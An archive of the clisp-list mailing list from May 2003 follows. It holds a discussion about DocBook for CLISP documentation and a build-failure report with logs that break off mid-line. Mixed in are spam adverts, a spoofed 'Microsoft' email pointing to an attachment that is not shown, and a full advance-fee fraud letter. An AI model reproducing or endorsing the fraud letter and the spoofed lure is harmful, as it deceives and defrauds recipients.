Notes layout" > * Sent on Thu, 22 May 2003 23:19:20 +0200 > * Honorable Michael Koehne writes: > > clispWiki should be written in CLisp, and be a part of the source as > it has to process the documentation into html and/or latex. It > should be a subset of CLiki, to batch process CLiki pages. We would > than just need to convince the admin of CLiki for CVS upload areas, > and we can form a clisp documentation coding standard, by a rough > consense of running code, that is part of standard clisp source tree > ;) go ahead and write that. > > > XML parsers in CL seem to be lurking around cliki. > > I wrote one (CLOCC/CLLIB/xml.lisp) > *aehm* whats the base URL ? > peace on your way, I guess I missed it. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Even Windows doesn't suck, when you use Common Lisp From tsiivola@niksula.hut.fi Fri May 23 05:33:19 2003 Received: from twilight.cs.hut.fi ([130.233.40.5] ident=root) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19JBjU-00080E-00 for ; Fri, 23 May 2003 05:33:12 -0700 Received: (from localhost user: 'tsiivola' uid#25372 fake: STDIN (tsiivola@kekkonen.cs.hut.fi)) by mail.niksula.cs.hut.fi id ; Fri, 23 May 2003 15:32:47 +0300 From: Nikodemus Siivola X-X-Sender: tsiivola@kekkonen.cs.hut.fi To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] working on Implementations Notes layout In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 23 05:34:08 2003 X-Original-Date: Fri, 23 May 2003 15:32:47 +0300 (EEST) On 22 May 2003, Sam Steingold wrote: > I want to use XSL and DocBook/XML not because I like these > abominations, but because they are standard. > > We need to lower the barrier to entry, which means using the standard > tools whenever possible. Just a datapoint: I had some notes lying about clarifying the Impnotes about modules and FFI, but never got around to doing it, because I never found the energy to learn DocBook. IMHO DocBook is not exactly a barrier-lowerer, unless you happen to know it already. Cheers, -- Nikodemus From sds@gnu.org Fri May 23 07:23:26 2003 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19JDSA-0004Ab-00 for ; Fri, 23 May 2003 07:23:26 -0700 Received: from loiso.podval.org ([68.160.9.251]) by pop016.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030523142319.UPWD3199.pop016.verizon.net@loiso.podval.org>; Fri, 23 May 2003 09:23:19 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h4NENP2o006276; Fri, 23 May 2003 10:23:25 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h4NENOH4006272; Fri, 23 May 2003 10:23:24 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Nikodemus Siivola Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] working on Implementations Notes layout References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop016.verizon.net from [68.160.9.251] at Fri, 23 May 2003 09:23:16 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 23 07:24:04 2003 X-Original-Date: 23 May 2003 10:23:24 -0400 > * In message > * On the subject of "Re: [clisp-list] working on Implementations Notes layout" > * Sent on Fri, 23 May 2003 15:32:47 +0300 (EEST) > * Honorable Nikodemus Siivola writes: > > Just a datapoint: I had some notes lying about clarifying the Impnotes > about modules and FFI, but never got around to doing it, because I never > found the energy to learn DocBook. would you rather learn an entirely new, CLISP-specific, syntax and semantics (instead of a fairly well known XML syntax and a rather widely used DocBook semantics)? > IMHO DocBook is not exactly a barrier-lowerer, unless you happen to > know it already. many people know and use it already and more are willing to learn it because of that. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Your mouse pad is incompatible with MS Windows - your HD will be reformatted. From tsiivola@niksula.hut.fi Fri May 23 08:05:43 2003 Received: from twilight.cs.hut.fi ([130.233.40.5] ident=root) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19JDch-00029y-00 for ; Fri, 23 May 2003 07:34:19 -0700 Received: (from localhost user: 'tsiivola' uid#25372 fake: STDIN (tsiivola@kekkonen.cs.hut.fi)) by mail.niksula.cs.hut.fi id ; Fri, 23 May 2003 17:34:03 +0300 From: Nikodemus Siivola X-X-Sender: tsiivola@kekkonen.cs.hut.fi To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] working on Implementations Notes layout In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 23 08:06:11 2003 X-Original-Date: Fri, 23 May 2003 17:34:03 +0300 (EEST) On 23 May 2003, Sam Steingold wrote: > would you rather learn an entirely new, CLISP-specific, syntax and > semantics (instead of a fairly well known XML syntax and a rather widely > used DocBook semantics)? Nope, you're quite right there. Ideally I'd like a format I can edit with a reasonable degree of confidence by "just guessing" and looking at the existing text. DocBook *almost* does that, but not quite. But as I said, that was just a datapoint. The lowest barrier of entry would probably be provided by plaintext, I guess -- but that's not really an option... Cheers, -- Nikodemus From sds@gnu.org Fri May 23 09:15:06 2003 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19JEnG-0002BG-00 for ; Fri, 23 May 2003 08:49:18 -0700 Received: from loiso.podval.org ([68.160.9.251]) by out001.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030523154912.QXNJ12592.out001.verizon.net@loiso.podval.org>; Fri, 23 May 2003 10:49:12 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h4NFnH2o006660; Fri, 23 May 2003 11:49:17 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h4NFnH2E006656; Fri, 23 May 2003 11:49:17 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Nikodemus Siivola Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] working on Implementations Notes layout References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out001.verizon.net from [68.160.9.251] at Fri, 23 May 2003 10:49:09 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 23 09:16:02 2003 X-Original-Date: 23 May 2003 11:49:17 -0400 > * In message > * On the subject of "Re: [clisp-list] working on Implementations Notes layout" > * Sent on Fri, 23 May 2003 17:34:03 +0300 (EEST) > * Honorable Nikodemus Siivola writes: > > The lowest barrier of entry would probably be provided by plaintext, I > guess -- but that's not really an option... It is. if your change is _small_ __AND__ _important_, you can just send a plain text version and I will add markup myself. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux If brute force does not work, you are not using enough. From alquida4@hotmail.com Fri May 23 13:28:51 2003 Received: from [61.172.194.21] (helo=sinolink) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19JJ9m-00039C-00 for ; Fri, 23 May 2003 13:28:51 -0700 Received: from aol.com ([200.103.162.198]) by sinolink with Microsoft SMTPSVC(5.0.2195.5329); Sat, 24 May 2003 04:20:20 +0800 Message-ID: <00007d3460a0$000068c0$00002599@yahoo.com> To: Cc: , , , From: "Jerry" MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 23 May 2003 20:20:21.0062 (UTC) FILETIME=[BBFB2660:01C32168] Subject: [clisp-list] Finally a Digital _Cable Descrambler 23284 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 23 13:29:07 2003 X-Original-Date: Fri, 23 May 2003 16:19:57 -1600 UNLOCK Digital Cable - FREE! Receive All Your Pay-Per-View Channels! http://www.a6zing29.com/xcart/customer/product.php?productid=16144&partner=affil20 NO More Paying! Get all this: * Sporting PPVs like Wrestling & Boxing * Adult Channels * Special Musical Concerts * Blockbuster New Release PPV Movies Click Here to get yours & SAVE Today! Cheapest Price on the NET !! Only $44 !!!!! ORDER NOW and get a FREE Cell Phone Booster / Radiation Blocker ($20 Value) http://www.a6zing29.com/xcart/customer/product.php?productid=16144&partner=affil20 To be removed from our Mailing system please click below and allow 24-48 hours to be removed. We honour all requests. http://www.a6zing29.com/1/ From support@microsoft.com Sat May 24 01:02:14 2003 Received: from [203.249.65.246] (helo=T605-TEACHER) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19JTyo-0006go-00 for ; Sat, 24 May 2003 01:02:14 -0700 From: To: Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="CSmtpMsgPart123X456_000_01997E33" Message-Id: Subject: [clisp-list] Screensaver Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat May 24 01:03:04 2003 X-Original-Date: Tue, 8 Apr 2003 17:01:56 +0900 This is a multipart message in MIME format --CSmtpMsgPart123X456_000_01997E33 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit All information is in the attached file. --CSmtpMsgPart123X456_000_01997E33-- From abaku9@themail.com Sat May 24 13:57:37 2003 Received: from [193.220.178.225] (helo=localhst2923.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Jg58-0004Xx-00 for ; Sat, 24 May 2003 13:57:35 -0700 From: "Mr. Abaku Kwame" Reply-To: abaku9@themail.com To: clisp-list@lists.sourceforge.net X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="===_SecAtt_000_1fghprpjlbulny" Message-Id: Subject: [clisp-list] RE: My Compliments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat May 24 13:58:04 2003 X-Original-Date: Sat, 24 May 2003 21:58:15 +0200 --===_SecAtt_000_1fghprpjlbulny Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Attn my friend=2C Compliments of the season=2E It is indeed my pleasure to write to you this letter=2C which I believe will be a suprise=2C as we are both complete strangers=2E I am Mr Abaku Kwame=2C the manager=2C credit and foreign bills of Arab bank Plc=2CBenin=2E I am writing in respect of a foreign customer of my bank with account number 14-255-2004 who perished in Egyptian Air Flight with the whole passengers aboard on 31st oct 1999=2E Since the demise of this our customer=2CI personally has watched with keen interest to see the next of kin but all has proved abortive as no one has come to claim his funds of USD$9=2E7m =5BNine million seven hundred thousand united states dollars=5D which has been with my branch for a very long time=2E On this note=2C I decided to seek for whom his name shall be used as the next of kin as no one has come up as his relation=2E And the country law here does not allow such money to stay more than Five years=2Cfor the money will be recalled to the government treasury as unclaimed after this period=2E Upon the receipt of your response=2C I will send to you the application=2C bank's contact and the next step to take=2E I will not fail to bring to your notice that this business is hitch free and that you should not entertain any fear as all modalities for fund transfer can be finalized within five banking days=2C after you apply to the bank as a relation to the deceased=2E When you receive this letter=2E Kindly send me an e-mail signifying your decision=2EIncluding your private Tel=2FFax numbers for quick communication=2E I will be very happy if you can treat this business with the utmost secrecy it demands because of my position in this bank=2E Hoping for a very successful business relationship with you=2E Respectfully submitted=2C Mr Abaku Kwame=2E Tel=3A00229601483=2E --===_SecAtt_000_1fghprpjlbulny Content-Type: application/octet-stream; name="CH.txt" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="CH.txt" From shawnta_y2qhnp@yahoo.com Sun May 25 11:21:12 2003 Received: from [61.185.221.167] (helo=emailserver.snelocal.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19K07J-0007Ms-00 for ; Sun, 25 May 2003 11:21:09 -0700 Received: from smtp0221.mail.yahoo.com ([61.177.71.85]) by emailserver.snelocal.com with Microsoft SMTPSVC(5.0.2195.5329); Mon, 26 May 2003 02:19:56 +0800 From: "Prydalla" X-Priority: 3 To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: X-OriginalArrivalTime: 25 May 2003 18:19:56.0585 (UTC) FILETIME=[3EAEF190:01C322EA] Subject: [clisp-list] clisp-list, Mortgage Rates Hit 35 Year Low 4.75% ... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun May 25 11:22:01 2003 X-Original-Date: Sun, 25 May 2003 18:18:34 GMT MORTGAGE RATES ARE STILL DOWN

MORTGAGE RATES ARE STILL DOWN!
Currently as low as
3.75% for 30 Year Fixed term

  Refinancing,
Debt Consolidation
New Purchases,
 Commercial Loans

Click Here to Apply Online

 

Now You're In Charge, Let Lenders Compete For Your Business,
Quickly and Easily Find many different Lenders' Offerings
at the ABSOLUTE LOWEST Rates and best Terms for ANY Situation!
 

3.75% For 30 Year Fixed Term Mortgage

Click Here to Apply Online

Home Improvement 
Refinancing
* Second Mortgage
 New Purchase * Special Loans

  Remove Me Please!

 

From faunonet@libero.it Sun May 25 13:23:36 2003 Received: from smtp0.libero.it ([193.70.192.33]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19K21n-0001Yn-00 for ; Sun, 25 May 2003 13:23:35 -0700 Received: from libero.it (151.27.189.142) by smtp0.libero.it (7.0.012) id 3ECC83C40011E288 for clisp-list@lists.sourceforge.net; Sun, 25 May 2003 22:23:27 +0200 Message-ID: <3ED1262E.1040607@libero.it> From: Giulio Quaresima User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.2.1) Gecko/20030225 X-Accept-Language: it, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: multipart/mixed; boundary="------------070302080605020903010608" Subject: [clisp-list] making clisp 2.20 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun May 25 13:24:05 2003 X-Original-Date: Sun, 25 May 2003 22:23:10 +0200 This is a multi-part message in MIME format. --------------070302080605020903010608 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Dear Mr. Haible
    I'm an italian student interested in Linguistics and Computer Science, so I have downloaded some versions of your Common Lisp interpreter. My trouble is that I was'nt able to install if from the source. With the RPM package, working in Red Hat 8 and 9, no problems, while neither in RH nor in Debian I can compile the sources. All goes OK until the step
    $ make lisp.run
or
    # make lisp.run
when I obtain the same error messages showed in the file make_lisp.run_sterr.log which I have attached. Why?
    I thank you very much for your work and for your patience.

   Giulio Quaresima
Perugia, Italy

P. S. Sorry for my TERRIBLE english! --------------070302080605020903010608 Content-Type: text/plain; name="make_lisp.run_sterr.log" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="make_lisp.run_sterr.log" libtool: install: warning: remember to run `libtool --finish /usr/local/lib' In file included from spvw.d:22: lispbibl.d:7183: warning: register used for two global register variables spvw.d: In function `main': spvw.d:1688: warning: variable `argv_memneed' might be clobbered by `longjmp' or `vfork' In file included from spvwtabf.d:5: lispbibl.d:7183: warning: register used for two global register variables In file included from spvwtabs.d:5: lispbibl.d:7183: warning: register used for two global register variables In file included from spvwtabo.d:5: lispbibl.d:7183: warning: register used for two global register variables In file included from eval.d:6: lispbibl.d:7183: warning: register used for two global register variables eval.d: In function `invoke_handlers': eval.d:628: warning: variable `other_ranges' might be clobbered by `longjmp' or `vfork' eval.d:631: warning: variable `FRAME' might be clobbered by `longjmp' or `vfork' eval.d:643: warning: variable `i' might be clobbered by `longjmp' or `vfork' eval.d: In function `funcall_iclosure': eval.d:2444: warning: argument `closure' might be clobbered by `longjmp' or `vfork' eval.d:2445: warning: argument `args_pointer' might be clobbered by `longjmp' or `vfork' eval.d:2446: warning: argument `argcount' might be clobbered by `longjmp' or `vfork' eval.d: In function `eval': eval.d:2943: warning: argument `form' might be clobbered by `longjmp' or `vfork' eval.d: In function `eval_no_hooks': eval.d:3000: warning: argument `form' might be clobbered by `longjmp' or `vfork' eval.d: In function `interpret_bytecode_': eval.d:5947: warning: variable `byteptr' might be clobbered by `longjmp' or `vfork' eval.d:5956: warning: variable `closureptr' might be clobbered by `longjmp' or `vfork' eval.d:5936: warning: argument `closure' might be clobbered by `longjmp' or `vfork' eval.d:5937: warning: argument `codeptr' might be clobbered by `longjmp' or `vfork' In file included from control.d:4: lispbibl.d:7183: warning: register used for two global register variables control.d: In function `C_tagbody': control.d:1671: warning: variable `body' might be clobbered by `longjmp' or `vfork' In file included from encoding.d:5: lispbibl.d:7183: warning: register used for two global register variables encoding.d: In function `nls_range': encoding.d:1602: warning: `i1' might be used uninitialized in this function encoding.d:1603: warning: `i2' might be used uninitialized in this function In file included from pathname.d:7: lispbibl.d:7183: warning: register used for two global register variables pathname.d: In function `parse_logical_word': pathname.d:1585: warning: `ch' might be used uninitialized in this function In file included from stream.d:8: lispbibl.d:7183: warning: register used for two global register variables stream.d: In function `iconv_range': stream.d:3981: warning: `i1' might be used uninitialized in this function stream.d:3982: warning: `i2' might be used uninitialized in this function In file included from socket.d:44: lispbibl.d:7183: warning: register used for two global register variables In file included from io.d:7: lispbibl.d:7183: warning: register used for two global register variables io.d: In function `C_bit_vector_reader': io.d:3379: warning: `ch' might be used uninitialized in this function io.d: In function `C_vector_reader': io.d:3464: warning: `el' might be used uninitialized in this function In file included from array.d:4: lispbibl.d:7183: warning: register used for two global register variables array.d: In function `C_make_array': array.d:5069: warning: `fillpointer' might be used uninitialized in this function array.d: In function `C_adjust_array': array.d:5361: warning: `fillpointer' might be used uninitialized in this function In file included from hashtabl.d:6: lispbibl.d:7183: warning: register used for two global register variables In file included from list.d:7: lispbibl.d:7183: warning: register used for two global register variables In file included from package.d:6: lispbibl.d:7183: warning: register used for two global register variables In file included from record.d:6: lispbibl.d:7183: warning: register used for two global register variables In file included from sequence.d:5: lispbibl.d:7183: warning: register used for two global register variables In file included from charstrg.d:5: lispbibl.d:7183: warning: register used for two global register variables In file included from debug.d:6: lispbibl.d:7183: warning: register used for two global register variables In file included from error.d:9: lispbibl.d:7183: warning: register used for two global register variables In file included from misc.d:4: lispbibl.d:7183: warning: register used for two global register variables In file included from time.d:5: lispbibl.d:7183: warning: register used for two global register variables In file included from predtype.d:4: lispbibl.d:7183: warning: register used for two global register variables In file included from symbol.d:4: lispbibl.d:7183: warning: register used for two global register variables In file included from lisparit.d:5: lispbibl.d:7183: warning: register used for two global register variables In file included from i18n.d:5: lispbibl.d:7183: warning: register used for two global register variables libtool: install: warning: remember to run `libtool --finish /usr/local/lib' libtool: install: warning: remember to run `libtool --finish /usr/local/lib' In file included from foreign.d:5: lispbibl.d:7183: warning: register used for two global register variables foreign.d: In function `do_va_start': foreign.d:3119: warning: left-hand operand of comma expression has no effect foreign.d:3121: warning: left-hand operand of comma expression has no effect In file included from unixaux.d:5: lispbibl.d:7183: warning: register used for two global register variables In file included from genclisph.d:6: lispbibl.d:7183: warning: register used for two global register variables In file included from modules.d:11: clisp.h:442: warning: register used for two global register variables spvw.o: In function `update_linelength': spvw.o(.text+0xdf9): undefined reference to `tgetent' spvw.o(.text+0xe0e): undefined reference to `tgetnum' stream.o: In function `make_keyboard_stream': stream.o(.text+0xadc2): undefined reference to `tgetent' stream.o(.text+0xadf4): undefined reference to `tgetstr' stream.o(.text+0xae56): undefined reference to `tgetstr' stream.o(.text+0xaeb6): undefined reference to `tgetstr' stream.o(.text+0xaf16): undefined reference to `tgetstr' stream.o(.text+0xafba): undefined reference to `tgetstr' stream.o(.text+0xb05e): more undefined references to `tgetstr' follow stream.o: In function `out_capstring': stream.o(.text+0xc443): undefined reference to `tputs' stream.o: In function `out_cap1string': stream.o(.text+0xc470): undefined reference to `tgoto' stream.o(.text+0xc479): undefined reference to `tputs' stream.o: In function `cap_cost': stream.o(.text+0xc4ad): undefined reference to `tputs' stream.o: In function `gofromto': stream.o(.text+0xc8d7): undefined reference to `tgoto' stream.o(.text+0xc9c6): undefined reference to `tgoto' stream.o: In function `insert_line': stream.o(.text+0xd15e): undefined reference to `tgoto' stream.o(.text+0xd1a9): undefined reference to `tgoto' stream.o: In function `delete_line': stream.o(.text+0xd2c1): undefined reference to `tgoto' stream.o(.text+0xd30c): more undefined references to `tgoto' follow stream.o: In function `init_term': stream.o(.text+0xd42d): undefined reference to `tgetent' stream.o(.text+0xd46d): undefined reference to `tgetnum' stream.o(.text+0xd490): undefined reference to `tgetnum' stream.o(.text+0xd4b3): undefined reference to `tgetflag' stream.o(.text+0xd4db): undefined reference to `tgetflag' stream.o(.text+0xd509): undefined reference to `tgetflag' stream.o(.text+0xd536): undefined reference to `tgetstr' stream.o(.text+0xd56e): undefined reference to `tgetstr' stream.o(.text+0xd59b): undefined reference to `tgetflag' stream.o(.text+0xd5ad): undefined reference to `tgetflag' stream.o(.text+0xd5d0): undefined reference to `tgetstr' stream.o(.text+0xd5e7): undefined reference to `tgetstr' stream.o(.text+0xd601): undefined reference to `tgetstr' stream.o(.text+0xd61a): undefined reference to `tgetflag' stream.o(.text+0xd633): undefined reference to `tgetstr' stream.o(.text+0xd658): undefined reference to `tgetstr' stream.o(.text+0xd680): undefined reference to `tgetstr' stream.o(.text+0xd6a8): undefined reference to `tgetstr' stream.o(.text+0xd6d0): undefined reference to `tgetstr' stream.o(.text+0xd6e7): more undefined references to `tgetstr' follow stream.o: In function `init_term': stream.o(.text+0xd713): undefined reference to `tgetnum' stream.o(.text+0xd727): undefined reference to `tgetnum' stream.o(.text+0xd79f): undefined reference to `tgetstr' stream.o(.text+0xd7b6): undefined reference to `tgetstr' stream.o(.text+0xd7d0): undefined reference to `tgetstr' stream.o(.text+0xd7e7): undefined reference to `tgetstr' stream.o(.text+0xd822): undefined reference to `tgetstr' stream.o(.text+0xd839): more undefined references to `tgetstr' follow stream.o: In function `init_term': stream.o(.text+0xda3d): undefined reference to `tgetflag' stream.o: In function `init_curr': stream.o(.text+0xdcf6): undefined reference to `tgoto' collect2: ld returned 1 exit status make: *** [lisp.run] Error 1 --------------070302080605020903010608 Content-Type: text/plain; name="make_lisp.run_stout.log" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="make_lisp.run_stout.log" sed -e 's/@''HAVE__BOOL''@/0/g' < stdbool.h.in > stdbool.h builddir="`pwd`"; cd libcharset && make && make install-lib libdir="$builddir" includedir="$builddir" make[1]: Entering directory `/usr/local/clisp-2.30/src/libcharset' cd lib && make all make[2]: Entering directory `/usr/local/clisp-2.30/src/libcharset/lib' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/usr/local/clisp-2.30/src/libcharset/lib' make[1]: Leaving directory `/usr/local/clisp-2.30/src/libcharset' make[1]: Entering directory `/usr/local/clisp-2.30/src/libcharset' cd lib && make all make[2]: Entering directory `/usr/local/clisp-2.30/src/libcharset/lib' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/usr/local/clisp-2.30/src/libcharset/lib' cd lib && make install-lib libdir='/usr/local/clisp-2.30/src' includedir='/usr/local/clisp-2.30/src' make[2]: Entering directory `/usr/local/clisp-2.30/src/libcharset/lib' /bin/sh ../../../libcharset/lib/../autoconf/mkinstalldirs /usr/local/clisp-2.30/src /bin/sh ../libtool --mode=install /usr/bin/install -c -m 644 libcharset.la /usr/local/clisp-2.30/src/libcharset.la /usr/bin/install -c -m 644 .libs/libcharset.so.1.0.0 /usr/local/clisp-2.30/src/libcharset.so.1.0.0 (cd /usr/local/clisp-2.30/src && rm -f libcharset.so.1 && ln -s libcharset.so.1.0.0 libcharset.so.1) (cd /usr/local/clisp-2.30/src && rm -f libcharset.so && ln -s libcharset.so.1.0.0 libcharset.so) /usr/bin/install -c -m 644 .libs/libcharset.lai /usr/local/clisp-2.30/src/libcharset.la /usr/bin/install -c -m 644 .libs/libcharset.a /usr/local/clisp-2.30/src/libcharset.a ranlib /usr/local/clisp-2.30/src/libcharset.a chmod 644 /usr/local/clisp-2.30/src/libcharset.a test -f /usr/local/clisp-2.30/src/charset.alias && orig=/usr/local/clisp-2.30/src/charset.alias \ || orig=charset.alias; \ sed -f ref-add.sed $orig > /usr/local/clisp-2.30/src/t-charset.alias; \ /usr/bin/install -c -m 644 /usr/local/clisp-2.30/src/t-charset.alias /usr/local/clisp-2.30/src/charset.alias; \ rm -f /usr/local/clisp-2.30/src/t-charset.alias make[2]: Leaving directory `/usr/local/clisp-2.30/src/libcharset/lib' /bin/sh ../../libcharset/autoconf/mkinstalldirs /usr/local/clisp-2.30/src /usr/bin/install -c -m 644 include/libcharset.h /usr/local/clisp-2.30/src/libcharset.h make[1]: Leaving directory `/usr/local/clisp-2.30/src/libcharset' gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c spvw.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c spvwtabf.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c spvwtabs.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c spvwtabo.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c eval.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c control.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c encoding.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c pathname.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c stream.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c socket.c gcc -W -Wswitch 